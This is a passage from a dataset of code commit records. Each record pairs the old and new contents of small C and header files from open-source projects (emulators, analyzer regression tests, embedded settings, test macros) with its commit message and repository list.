formatting.\n","lang":"C","license":"apache-2.0","repos":"r2B3Challenge\/Typhoon,zjh171\/Typhoon,r2B3Challenge\/Typhoon,nickynick\/Typhoon,gaurav1981\/Typhoon,manicakes\/Typhoon,1yvT0s\/Typhoon,manicakes\/Typhoon,mbaltaks\/Typhoon,nickynick\/Typhoon,gaurav1981\/Typhoon,pomozoff\/Typhoon,literator\/Typhoon,nickynick\/Typhoon,gaurav1981\/Typhoon,pomozoff\/Typhoon,nickynick\/Typhoon,manicakes\/Typhoon,nickynick\/Typhoon,r2B3Challenge\/Typhoon,manicakes\/Typhoon,gaurav1981\/Typhoon,literator\/Typhoon,gaurav1981\/Typhoon,eyeem\/Typhoon,mbaltaks\/Typhoon,dmueller39\/Typhoon,literator\/Typhoon,pomozoff\/Typhoon,mbaltaks\/Typhoon,1yvT0s\/Typhoon,zjh171\/Typhoon,zjh171\/Typhoon,eyeem\/Typhoon,literator\/Typhoon,1yvT0s\/Typhoon,1yvT0s\/Typhoon,manicakes\/Typhoon,eyeem\/Typhoon,gaurav1981\/Typhoon,mbaltaks\/Typhoon,1yvT0s\/Typhoon,zjh171\/Typhoon,zjh171\/Typhoon,dmueller39\/Typhoon,r2B3Challenge\/Typhoon,mbaltaks\/Typhoon,eyeem\/Typhoon,1yvT0s\/Typhoon,dmueller39\/Typhoon,zjh171\/Typhoon,literator\/Typhoon,mbaltaks\/Typhoon,manicakes\/Typhoon,r2B3Challenge\/Typhoon,pomozoff\/Typhoon,literator\/Typhoon,r2B3Challenge\/Typhoon,dmueller39\/Typhoon,eyeem\/Typhoon,dmueller39\/Typhoon,pomozoff\/Typhoon,eyeem\/Typhoon"}
{"commit":"08aad53abab851e5b39593495a6463c56e59c326","old_file":"util.h","new_file":"util.h","old_contents":"#include <algorithm>\n#include <time.h>\n\ntemplate <typename Container1, typename Container2>\nbool sequences_are_equal(const Container1& seq1, const Container2& seq2) {\n    typedef typename Container1::const_iterator Iter1;\n    typedef typename Container2::const_iterator Iter2;\n    typedef std::pair<Iter1, Iter2> IterPair;\n    IterPair mismatch_pair = std::mismatch(seq1.begin(), seq1.end(),\n                                           seq2.begin());\n    return mismatch_pair.first == seq1.end();\n}\n\n\nstruct randint {\n    int range;\npublic:\n    randint(int range) : range(range) {}\n\n    int operator()() {\n        return (rand() \/ RAND_MAX) * range;\n    }\n};\n","new_contents":"#include <algorithm>\n\ntemplate <typename Container1, typename Container2>\nbool sequences_are_equal(const Container1& seq1, const Container2& seq2) {\n    typedef typename Container1::const_iterator Iter1;\n    typedef typename Container2::const_iterator Iter2;\n    typedef std::pair<Iter1, Iter2> IterPair;\n    IterPair mismatch_pair = std::mismatch(seq1.begin(), seq1.end(),\n                                           seq2.begin());\n    return mismatch_pair.first == seq1.end();\n}\n\n\nstruct randint {\n    int start;\n    int stop;\npublic:\n    randint(int stop) : start(0), stop(stop) {}\n    randint(int start, int stop) : start(start), stop(stop) {}\n\n    int operator()() {\n        return rand() % (this->stop - 1) + start;\n    }\n};\n","subject":"Add start and stop params to randint","message":"Add start and stop params to randint\n","lang":"C","license":"mit","repos":"gg\/algorithms,gg\/algorithms,gg\/algorithms"}
{"commit":"4e26a6a32163d80e2c0316e3b710c5b535f361a3","old_file":"test\/test_controller.c","new_file":"test\/test_controller.c","old_contents":"","new_contents":"\/**\n * @file test_controller.c\n * @author Travis Lane\n * @version 0.0.1\n * @date 2019-04-21\n *\/\n\n#include <check.h>\n\n#include \"pwm.h\"\n#include \"pwm_internal.h\"\n\nSTART_TEST(test_controller_basic)\n{\n  struct usp_controller_t *ctrl;\n  struct usp_pwm_list_t *lst;\n\n  ctrl = usp_controller_new();\n  fail_if(ctrl == NULL, \"Failed to create controller.\");\n\n  lst = usp_controller_get_pwms(ctrl);\n  fail_if(lst == NULL, \"Failed to get pwm list.\");\n\n  usp_pwm_list_unref(lst);\n\n  usp_controller_delete(ctrl);\n}\nEND_TEST\n\nstatic Suite *\nsuite_controller_new()\n{\n  Suite *suite_controller = suite_create(\"suite_controller\");\n  TCase *case_controller = tcase_create(\"test_controller\");\n\n  tcase_add_test(case_controller, test_controller_basic);\n\n  suite_add_tcase(suite_controller, case_controller);\n  return suite_controller;\n}\n\nint\nmain()\n{\n  int failed;\n  Suite *suite_controller = suite_controller_new();\n  SRunner *runner_controller = srunner_create(suite_controller);\n  srunner_run_all(runner_controller, CK_NORMAL);\n  failed = srunner_ntests_failed(runner_controller);\n  srunner_free(runner_controller);\n  return failed;\n}\n","subject":"Add simple unit tests for the controller","message":"[test] Add simple unit tests for the controller\n\nAdd a stupid simple unit test to create\/destroy a controller.\n","lang":"C","license":"mit","repos":"Coderlane\/c-pwm-api,Coderlane\/c-pwm-api"}
{"commit":"adcdb080cbf200a29d08dd61817d48abadc37d93","old_file":"src\/libguac\/guacamole\/parser-constants.h","new_file":"src\/libguac\/guacamole\/parser-constants.h","old_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef _GUAC_PARSER_CONSTANTS_H\n#define _GUAC_PARSER_CONSTANTS_H\n\n\/**\n * Constants related to the Guacamole protocol parser.\n *\n * @file parser-constants.h\n *\/\n\n\/**\n * The maximum number of characters per instruction.\n *\/\n#define GUAC_INSTRUCTION_MAX_LENGTH 8192\n\n\/**\n * The maximum number of digits to allow per length prefix.\n *\/\n#define GUAC_INSTRUCTION_MAX_DIGITS 5\n\n\/**\n * The maximum number of elements per instruction, including the opcode.\n *\/\n#define GUAC_INSTRUCTION_MAX_ELEMENTS 64\n\n#endif\n\n","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef _GUAC_PARSER_CONSTANTS_H\n#define _GUAC_PARSER_CONSTANTS_H\n\n\/**\n * Constants related to the Guacamole protocol parser.\n *\n * @file parser-constants.h\n *\/\n\n\/**\n * The maximum number of characters per instruction.\n *\/\n#define GUAC_INSTRUCTION_MAX_LENGTH 8192\n\n\/**\n * The maximum number of digits to allow per length prefix.\n *\/\n#define GUAC_INSTRUCTION_MAX_DIGITS 5\n\n\/**\n * The maximum number of elements per instruction, including the opcode.\n *\/\n#define GUAC_INSTRUCTION_MAX_ELEMENTS 128\n\n#endif\n\n","subject":"Increase max number of elements per instruction.","message":"GUACAMOLE-587: Increase max number of elements per instruction.\n","lang":"C","license":"apache-2.0","repos":"mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,mike-jumper\/incubator-guacamole-server,glyptodon\/guacamole-server,glyptodon\/guacamole-server,apache\/guacamole-server,glyptodon\/guacamole-server,apache\/guacamole-server,apache\/guacamole-server"}
{"commit":"24746780a3c46b0607edcf65fcdbb2e61b3058fd","old_file":"src\/ios\/AppSettings.h","new_file":"src\/ios\/AppSettings.h","old_contents":"\/\/\n\/\/  AppPreferences.h\n\/\/  \n\/\/\n\n#import <Cordova\/CDV.h>\n#import <Cordova\/CDVViewController.h>\n\n@interface AppSettings : CDVPlugin \n\n- (void)get:(CDVInvokedUrlCommand*)command;\n\n@end\n","new_contents":"\/\/\n\/\/  AppPreferences.h\n\/\/\n\/\/\n\n#import <Cordova\/CDV.h>\n#import <Cordova\/CDVViewController.h>\n\n@interface AppSettings : CDVPlugin\n\n- (void)fetch:(CDVInvokedUrlCommand*)command;\n\n@end\n","subject":"Update method from get to fetch","message":"Update method from get to fetch\n","lang":"C","license":"apache-2.0","repos":"greg-laughlin-hs\/app-settings-reader,greg-laughlin-hs\/app-settings-reader"}
{"commit":"7a108087ed96c0d91b65b967f9c524a7c64116fa","old_file":"targets\/TARGET_Ambiq_Micro\/TARGET_Apollo3\/device\/itm_api.c","new_file":"targets\/TARGET_Ambiq_Micro\/TARGET_Apollo3\/device\/itm_api.c","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2017 ARM Limited\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#if DEVICE_ITM\n\n#include \"hal\/itm_api.h\"\n#include \"cmsis.h\"\n#include \"am_bsp.h\"\n\n#include <stdbool.h>\n\n\/* SWO frequency: 1000 kHz *\/\n\n\/\/ As SWO has to be accessible everywhere, including ISRs, we can't easily\n\/\/ communicate the dependency on clocks etc. to other components - so this\n\/\/ function checks that things appear to be set up, and if not re-configures\n\/\/ everything\nvoid itm_init(void)\n{\n    am_bsp_itm_printf_enable();\n}\n\n#endif\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2017 ARM Limited\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#if DEVICE_ITM\n\n#include \"hal\/itm_api.h\"\n#include \"cmsis.h\"\n#include \"am_bsp.h\"\n\n#include <stdbool.h>\n\n\/* SWO frequency: 1000 kHz *\/\n\n#ifndef AM_BSP_GPIO_ITM_SWO\n#define AM_GPIO_ITM_SWO             \t22\n\nconst am_hal_gpio_pincfg_t g_AM_GPIO_ITM_SWO =\n{\n    .uFuncSel            = AM_HAL_PIN_22_SWO,\n    .eDriveStrength      = AM_HAL_GPIO_PIN_DRIVESTRENGTH_2MA\n};\n#endif \n\n\nvoid itm_init(void)\n{\n    #ifdef AM_BSP_GPIO_ITM_SWO\n    am_bsp_itm_printf_enable();\n    #else\n    am_bsp_itm_printf_enable(AM_GPIO_ITM_SWO,g_AM_GPIO_ITM_SWO);\n    #endif\n}\n\n#endif\n","subject":"Add default SWO pin number and config if not defined in Ambiq target","message":"Add default SWO pin number and config if not defined in Ambiq target\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed"}
{"commit":"b13c0d7adb66133631e78f1aa6799bc2c712b803","old_file":"WikipediaUnitTests\/Code\/FBSnapshotTestCase+WMFConvenience.h","new_file":"WikipediaUnitTests\/Code\/FBSnapshotTestCase+WMFConvenience.h","old_contents":"#import <FBSnapshotTestCase\/FBSnapshotTestCase.h>\n#import \"UIApplication+VisualTestUtils.h\"\n\n\/**\n *  @function WMFSnapshotVerifyView\n *\n *  Verify correct appearance of a given view.\n *\n *  Search all folder suffixes, use default naming conventions.\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyView(view) FBSnapshotVerifyView((view), nil)\n\n\/**\n *  @function WMFSnapshotVerifyViewForOSAndWritingDirection\n *\n *  Compares @c view with a reference image matching the current OS version & application writing direction (e.g.\n *  \"testLaysOutProperly_9.2_RTL@2x.png\").\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyViewForOSAndWritingDirection(view) \\\n    FBSnapshotVerifyViewWithOptions((view), [[UIApplication sharedApplication] wmf_systemVersionAndWritingDirection], FBSnapshotTestCaseDefaultSuffixes(), 0.1);\n\n@interface FBSnapshotTestCase (WMFConvenience)\n\n- (void)wmf_verifyMultilineLabelWithText:(id)stringOrAttributedString width:(CGFloat)width;\n\n- (void)wmf_verifyCellWithIdentifier:(NSString *)identifier\n                       fromTableView:(UITableView *)tableView\n                               width:(CGFloat)width\n                 configuredWithBlock:(void (^)(UITableViewCell *))block;\n\n- (void)wmf_verifyView:(UIView *)view width:(CGFloat)width;\n\n- (void)wmf_verifyViewAtWindowWidth:(UIView *)view;\n\n@end\n","new_contents":"#import <FBSnapshotTestCase\/FBSnapshotTestCase.h>\n#import \"UIApplication+VisualTestUtils.h\"\n\n\/**\n *  @function WMFSnapshotVerifyView\n *\n *  Verify correct appearance of a given view.\n *\n *  Search all folder suffixes, use default naming conventions.\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyView(view) FBSnapshotVerifyView((view), nil)\n\n\/**\n *  @function WMFSnapshotVerifyViewForOSAndWritingDirection\n *\n *  Compares @c view with a reference image matching the current OS version & application writing direction (e.g.\n *  \"testLaysOutProperly_9.2_RTL@2x.png\").\n *\n *  @param view The view to verify.\n *\/\n#define WMFSnapshotVerifyViewForOSAndWritingDirection(view) \\\n    FBSnapshotVerifyView((view), [[UIApplication sharedApplication] wmf_systemVersionAndWritingDirection]);\n\n@interface FBSnapshotTestCase (WMFConvenience)\n\n- (void)wmf_verifyMultilineLabelWithText:(id)stringOrAttributedString width:(CGFloat)width;\n\n- (void)wmf_verifyCellWithIdentifier:(NSString *)identifier\n                       fromTableView:(UITableView *)tableView\n                               width:(CGFloat)width\n                 configuredWithBlock:(void (^)(UITableViewCell *))block;\n\n- (void)wmf_verifyView:(UIView *)view width:(CGFloat)width;\n\n- (void)wmf_verifyViewAtWindowWidth:(UIView *)view;\n\n@end\n","subject":"Revert \"Add slight tolerance for image differences to visual test macro.\"","message":"Revert \"Add slight tolerance for image differences to visual test macro.\"\n\nThis reverts commit 13d6d4e18d98f7c2d496f3454216d96a4d8e95d1.\n","lang":"C","license":"mit","repos":"josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios"}
{"commit":"60f92d0b69f688523e81adcc8991f6c44a7264c5","old_file":"src\/pomodoro.h","new_file":"src\/pomodoro.h","old_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ pomodoro - Provides data structures and methods for manipulating pomodoros\n\/\/ Copyright (c) 2013 Jonathan Speicher (jon.speicher@gmail.com)\n\/\/ Licensed under the MIT license: http:\/\/opensource.org\/licenses\/MIT\n\/\/ ----------------------------------------------------------------------------\n\n#pragma once\n\n\/\/ Defines the number of characters in a pomodoro time left display string. Note\n\/\/ that this does not account for the terminating NULL character.\n\n#define POMODORO_TIME_LEFT_STRING_NUM_CHARS 5\n\n\/\/ Defines a pomodoro. Pomodoros consist primarily of the countdown timer and\n\/\/ associated display strings.\n\ntypedef struct {\n  unsigned int total_seconds_left;\n  unsigned int minutes_left;\n  unsigned int seconds_left;\n  char time_left_string[POMODORO_TIME_LEFT_STRING_NUM_CHARS + 1];\n} Pomodoro;\n\n\/\/ Initializes a pomodoro. This initializes the time remaining and sets the\n\/\/ display string appropriately.\n\nvoid pomodoro_init(Pomodoro* pomodoro);\n\n\/\/ Decrements the time remaining in the pomodoro by the number of seconds\n\/\/ specified. If the requested decrement is greater than the number of seconds\n\/\/ remaining, the time remaining is set to zero.\n\nvoid pomodoro_decrement_by_seconds(Pomodoro* pomodoro, unsigned int seconds);\n","new_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ pomodoro - Provides data structures and methods for manipulating pomodoros\n\/\/ Copyright (c) 2013 Jonathan Speicher (jon.speicher@gmail.com)\n\/\/ Licensed under the MIT license: http:\/\/opensource.org\/licenses\/MIT\n\/\/ ----------------------------------------------------------------------------\n\n#pragma once\n\n\/\/ Defines the number of characters in a pomodoro time left display string.\n\/\/ Note that this does not account for the terminating NULL character.\n\n#define POMODORO_TIME_LEFT_STRING_NUM_CHARS 5\n\n\/\/ Defines a pomodoro. Pomodoros consist primarily of the countdown timer and\n\/\/ associated display strings.\n\ntypedef struct {\n  unsigned int total_seconds_left;\n  unsigned int minutes_left;\n  unsigned int seconds_left;\n  char time_left_string[POMODORO_TIME_LEFT_STRING_NUM_CHARS + 1];\n} Pomodoro;\n\n\/\/ Initializes a pomodoro. This initializes the time remaining and sets the\n\/\/ display string appropriately.\n\nvoid pomodoro_init(Pomodoro* pomodoro);\n\n\/\/ Decrements the time remaining in the pomodoro by the number of seconds\n\/\/ specified. If the requested decrement is greater than the number of seconds\n\/\/ remaining, the time remaining is set to zero.\n\nvoid pomodoro_decrement_by_seconds(Pomodoro* pomodoro, unsigned int seconds);\n","subject":"Fix a long line in a comment","message":"Fix a long line in a comment\n","lang":"C","license":"mit","repos":"elliots\/simple-demo-pebble,jonspeicher\/Pomade,jonspeicher\/Pomade"}
{"commit":"aca127424836bc72763d64fe0ea655b896293524","old_file":"src\/settings.h","new_file":"src\/settings.h","old_contents":"#define PIN_GAS_PEDAL A0\n#define PIN_BATTERY_VOLTAGE A1\n\n#define PIN_CW 5\n#define PIN_CCW 6\n\n#define PIN_SWITCH_FORWARDS 10\n#define PIN_SWITCH_BACKWARDS 11\n\n#define GAS_VALUE_MIN 446\n#define GAS_VALUE_MAX 510\n\n#define BATTERY_READING_12V 670\n#define BATTERY_READING_6V 331\n\n#define BATTERY_VOLTAGE_MIN 11\n\n#define SPEED_MIN 0\n#define SPEED_MAX_DIRECTION_CHANGE 15\n#define SPEED_MAX_FORWARDS 255\n#define SPEED_MAX_BACKWARDS 142\n#define SPEED_CHANGE_PACE_DEFAULT 10\n","new_contents":"#define PIN_GAS_PEDAL A0\n#define PIN_BATTERY_VOLTAGE A1\n\n#define PIN_CW 6\n#define PIN_CCW 5\n\n#define PIN_SWITCH_FORWARDS 10\n#define PIN_SWITCH_BACKWARDS 11\n\n#define GAS_VALUE_MIN 446\n#define GAS_VALUE_MAX 490 \/\/510\n\n#define BATTERY_READING_12V 670\n#define BATTERY_READING_6V 331\n\n#define BATTERY_VOLTAGE_MIN 11\n\n#define SPEED_MIN 0\n#define SPEED_MAX_DIRECTION_CHANGE 15\n#define SPEED_MAX_FORWARDS 255\n#define SPEED_MAX_BACKWARDS 142\n#define SPEED_CHANGE_PACE_DEFAULT 10\n","subject":"Change max gas value Swap CW\/CCW pins","message":"Change max gas value\nSwap CW\/CCW pins\n","lang":"C","license":"mit","repos":"schinken\/E-KettCar,schinken\/E-KettCar"}
{"commit":"472da090a1355b9658e60af74cb54da827b0c03e","old_file":"src\/cpu.c","new_file":"src\/cpu.c","old_contents":"\/\/\n\/\/ Created by Jake Kinsella on 4\/17\/17.\n\/\/\n\n#include \"cpu.h\"\n#include \"registers.h\"\n#include \"ram.h\"\n#include \"matcher\/matcher.h\"\n\nvoid initialize()\n{\n    initialize_registers();\n    initialize_ram();\n}\n\nvoid cycle()\n{\n    uint8_t instruction = read_byte_from_address(pc);\n    printf(\"%d: %d\\n\", pc, instruction);\n\n    \/\/ pc starts at instruction when passed to handle functions\n\n    int index = match(instruction);\n    if (index != -1) {\n        InstructionTemplate template = get_registered_template(index);\n\n        int dst_code = get_dst_code_from_opcode(instruction);\n        int src_code = get_src_code_from_opcode(instruction);\n        int rp_code = get_rp_code_from_opcode(instruction);\n        run_instruction(dst_code, src_code, rp_code, template);\n    }\n}\n\nvoid print_register_status()\n{\n    printf(\"A: %d, B: %d, C: %d, D: %d, E: %d, F: %d, H: %d, L: %d, SP: %d\\n\", a, b, c, d, e, f, h, l, combine_bytes(s, p));\n}","new_contents":"\/\/\n\/\/ Created by Jake Kinsella on 4\/17\/17.\n\/\/\n\n#include \"cpu.h\"\n#include \"registers.h\"\n#include \"ram.h\"\n#include \"matcher\/matcher.h\"\n\nvoid initialize()\n{\n    initialize_registers();\n    initialize_ram();\n}\n\nvoid cycle()\n{\n    uint8_t instruction = read_byte_from_address(pc);\n    printf(\"0x%x: 0x%x\\n\", pc, instruction);\n\n    \/\/ pc starts at instruction when passed to handle functions\n\n    int index = match(instruction);\n    if (index != -1) {\n        InstructionTemplate template = get_registered_template(index);\n\n        int dst_code = get_dst_code_from_opcode(instruction);\n        int src_code = get_src_code_from_opcode(instruction);\n        int rp_code = get_rp_code_from_opcode(instruction);\n        run_instruction(dst_code, src_code, rp_code, template);\n    }\n}\n\nvoid print_register_status()\n{\n    printf(\"A: 0x%x, B: 0x%x, C: 0x%x, D: 0x%x, E: 0x%x, F: 0x%x, H: 0x%x, L: 0x%x, SP: 0x%x\\n\", a, b, c, d, e, f, h, l, combine_bytes(s, p));\n}","subject":"Print hex in debug messages","message":"Print hex in debug messages\n","lang":"C","license":"mit","repos":"TheLocust3\/Intel-8080-Emulator,TheLocust3\/Intel-8080-Emulator"}
{"commit":"74089c3090eccc25b79a1d0518a5364c70297f69","old_file":"bubble-sort.c","new_file":"bubble-sort.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n\nint main()\n{\n  int a[100],i,j,n,t;\n  printf(\"Enter the value of n (num. of ints)\");\n  scanf(\"%d\",&n);\n  for(i=0;i<=n-1;i++) {\n      printf(\"Enter a number:\");\n      scanf(\"%d\",&a[i]);\n      printf(\" Good, %d to go\\n\", n-1-i);\n  }\n  printf(\" Start sorting ... \\n\");\n  \/\/ \n  \/\/Bubble sorting algorithm:\n  \/\/\n  for(i=0;i<=n-2;i++){   \n      for(j=0;j<=n-i-2;j++){\n\t\n\t  if(a[j]>a[j+1]){\n\t    \n\t      t=a[j];\n\t      a[j]=a[j+1];\n\t      a[j+1]=t;\n\t  }\n      }\n  }\n  for(i=0;i<=n-1;i++){\n   \n      printf(\"%d,\",a[i]);\n  }\n  printf(\" Done! \\n\");\n}\n","subject":"Add a C program to github to test","message":"Add a C program to github to test\n","lang":"C","license":"mit","repos":"wdli\/test-repo"}
{"commit":"fe328acd898dc8efe35c8a8b9c9ea16630f9ec49","old_file":"tests\/regression\/02-base\/51-evalint-deep.c","new_file":"tests\/regression\/02-base\/51-evalint-deep.c","old_contents":"\/\/ from SV-COMP: nla-digbench-scaling\/ps6-ll_valuebound5.c\n\/\/ contains deep integer expressions that shouldn't cause extremely exponential slowdown\n\/\/ when evaluated by base's eval_rv and EvalInt jointly\n\/\/ runs (as unknown) under 0.1s\n\n#include <assert.h>\nvoid assume_abort_if_not(int cond) {\n  if(!cond) {abort();}\n}\n\nint main() {\n    short k;\n    long long y, x, c;\n    assume_abort_if_not(k>=0 && k<=5);\n    assume_abort_if_not(k <= 256);\n\n    y = 0;\n    x = 0;\n    c = 0;\n\n    while (1) {\n        assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0);\n\n        if (!(c < k))\n            break;\n\n        c = c + 1;\n        y = y + 1;\n        x = y * y * y * y * y + x;\n    }\n\n    assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0);\n    assert(k*y == y*y);\n    return 0;\n}\n","new_contents":"\/\/ from SV-COMP: nla-digbench-scaling\/ps6-ll_valuebound5.c\n\/\/ contains deep integer expressions that shouldn't cause extremely exponential slowdown\n\/\/ when evaluated by base's eval_rv and EvalInt jointly\n\/\/ runs (as unknown) under 0.1s\n\n#include <assert.h>\nvoid assume_abort_if_not(int cond) {\n  if(!cond) {abort();}\n}\n\nint main() {\n    short k;\n    long long y, x, c;\n    assume_abort_if_not(k>=0 && k<=5);\n    assume_abort_if_not(k <= 256);\n\n    y = 0;\n    x = 0;\n    c = 0;\n\n    while (1) {\n        assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0); \/\/ UNKNOWN (by design)\n\n        if (!(c < k))\n            break;\n\n        c = c + 1;\n        y = y + 1;\n        x = y * y * y * y * y + x;\n    }\n\n    assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0); \/\/ UNKNOWN (by design)\n    assert(k*y == y*y); \/\/ UNKNOWN (by design)\n    return 0;\n}\n","subject":"Add UNKNOWN annotations to 02\/51","message":"Add UNKNOWN annotations to 02\/51\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"e9b3d0191f9ec3a27bea78fac2373eecf062004a","old_file":"tests\/regression\/36-apron\/64-dummy-sound.c","new_file":"tests\/regression\/36-apron\/64-dummy-sound.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.apron.privatization dummy\n#include <pthread.h>\n#include <assert.h>\n\nint g;\n\nvoid *t_fun(void *arg) {\n  \/\/ shouldn't have g, x, y in local apron state\n  g = 43;\n  int *p = arg;\n  *p = 11;\n  return NULL;\n}\n\nint main() {\n  g = 42;\n  int x = 10;\n  int y = 20;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, &x);\n\n  \/\/ shouldn't have g, x, y in local apron state\n  assert(g == 42); \/\/ UNKNOWN!\n  assert(x == 10); \/\/ UNKNOWN!\n  return 0;\n}","subject":"Add test for apron dummy privatization soundness","message":"Add test for apron dummy privatization soundness\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d3858eb7da569afc310bf14d4fed9d754e3e0db3","old_file":"test\/get-compositor.c","new_file":"test\/get-compositor.c","old_contents":"#include <X11\/X.h>\n#include <X11\/Xatom.h>\n#include <X11\/Xlib.h>\n#include <stdio.h>\n\nint main() {\n  Display *display = XOpenDisplay(NULL);\n  if (display == NULL) {\n    fprintf(stderr, \"Could not connect to $DISPLAY.\\n\");\n    return 1;\n  }\n  char buf[32];\n  snprintf(buf, sizeof(buf), \"_NET_WM_CM_S%d\", (int)DefaultScreen(display));\n  Atom atom = XInternAtom(display, buf, False);\n  Window w = XGetSelectionOwner(display, atom);\n  if (w == None) {\n    fprintf(stderr, \"No compositor detected.\\n\");\n    return 1;\n  }\n  printf(\"%#llx\\n\", (unsigned long long)w);\n  return 0;\n}\n","new_contents":"#include <X11\/X.h>\n#include <X11\/Xatom.h>\n#include <X11\/Xlib.h>\n#include <stdio.h>\n\nint main() {\n  Display *display = XOpenDisplay(NULL);\n  if (display == NULL) {\n    fprintf(stderr, \"Could not connect to $DISPLAY.\\n\");\n    return 1;\n  }\n  char buf[32];  \/\/ Flawfinder: ignore\n  snprintf(buf, sizeof(buf), \"_NET_WM_CM_S%d\",  \/\/ Flawfinder: ignore\n           (int)DefaultScreen(display));\n  buf[sizeof(buf)-1] = 0;\n  Atom atom = XInternAtom(display, buf, False);\n  Window w = XGetSelectionOwner(display, atom);\n  if (w == None) {\n    fprintf(stderr, \"No compositor detected.\\n\");\n    return 1;\n  }\n  printf(\"%#llx\\n\", (unsigned long long)w);\n  return 0;\n}\n","subject":"Fix a potentially unportable use of snprintf found by flawfinder.","message":"Fix a potentially unportable use of snprintf found by flawfinder.\n","lang":"C","license":"apache-2.0","repos":"google\/xsecurelock,google\/xsecurelock"}
